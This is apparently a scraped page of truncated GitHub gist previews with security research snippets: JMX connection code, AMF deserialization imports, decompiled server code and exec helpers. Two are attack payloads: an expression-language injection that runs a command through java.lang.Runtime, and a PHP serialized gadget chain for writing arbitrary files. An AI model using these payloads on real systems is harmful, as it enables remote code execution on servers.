This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // connect to MBean server | |
| String url = "service:jmx:rmi:///jndi/rmi://127.0.0.1:12345/jmxrmi"; | |
| JMXServiceURL serviceURL = new JMXServiceURL(url); | |
| Map env = new Properties(); | |
| MBeanServerConnection connection = JMXConnectorFactory.connect(serviceURL, env).getMBeanServerConnection(); | |
| // create ObjectName for new MBean | |
| ObjectName objectName = new ObjectName("Test:type=test"); | |
| try { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <j>${context.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('xterm')}</j> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import java.io.ByteArrayInputStream; | |
| import java.io.ByteArrayOutputStream; | |
| import java.io.IOException; | |
| import java.util.Arrays; | |
| import flex.messaging.io.SerializationContext; | |
| import flex.messaging.io.amf.ActionContext; | |
| import flex.messaging.io.amf.ActionMessage; | |
| import flex.messaging.io.amf.AmfMessageDeserializer; | |
| import flex.messaging.io.amf.AmfMessageSerializer; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <SemAdministrator | |
| CreationTime="1450248162172" | |
| EmailAddress="[email protected]" | |
| Id="AF3C39A10A320801000000DBF200C60A" | |
| Name="admin" | |
| PasswordHash="21232F297A57A5A743894A0E4A801FC3" | |
| _d="false" | |
| _i="6F335DE8C0A80101003F6843927F3521" | |
| _t="1450248162172" | |
| _v="3"> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ' Calls WshShell.Exec with c and kills the process tree after the specified timeout t | |
| ' Returns the created WshScriptExec object | |
| Function Exec(c, t) | |
| Dim s, e : Set s = CreateObject("WScript.Shell") : Set e = s.Exec(c) | |
| Do While e.Status = 0 | |
| Call s.Run("waitfor /t 1 OneSecond", 0, True) | |
| t = t - 1 | |
| If 0 >= t Then | |
| Call s.Run("taskkill /t /f /pid " & e.ProcessId, 0, True) | |
| Exit Do |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import java.io.IOException; | |
| import java.io.InputStream; | |
| import java.util.Arrays; | |
| public class CommandLine { | |
| public static void main(String[] args) throws IOException { | |
| args = new String[] { | |
| "C:\\Temp\\PrintArguments.exe", | |
| "arg 1", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* */ public void handleRequest(RequestData requestData, ConsoleSession session, Document doc) | |
| /* */ { | |
| /* 54 */ NodeList list = doc.getElementsByTagName("Response"); | |
| /* 55 */ Element root = (Element)list.item(0); | |
| /* 56 */ String action = (String)requestData.get("Action"); | |
| /* 57 */ String id = (String)requestData.get("GUID"); | |
| /* 58 */ String fileType = (String)requestData.get("FILE_TYPE"); | |
| /* 59 */ String newId = (String)requestData.get("NEW_GUID"); | |
| /* */ | |
| /* 60-187 skipped */ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| O:6:"Tracer":1:{s:12:"\0Tracer\0_log";O:6:"Logger":1:{s:13:"\0Logger\0_logs";a:1:{s:0:"";O:8:"Log_file":4:{s:9:"_filename";s:13:"<destination>";s:11:"_lineFormat";s:9:"<payload>";s:7:"_append";b:0;s:4:"_eol";s:0:"";}}}} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| SELECT HAS_PERMS_BY_NAME(null, null, 'ADMINISTER BULK OPERATIONS') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import java.io.*; | |
| public class Exec { | |
| public static void main(String[] args) throws IOException { | |
| Process p = Runtime.getRuntime().exec(args[0]); | |
| byte[] b = new byte[1]; | |
| while (p.getErrorStream().read(b) > 0) | |
| System.out.write(b); |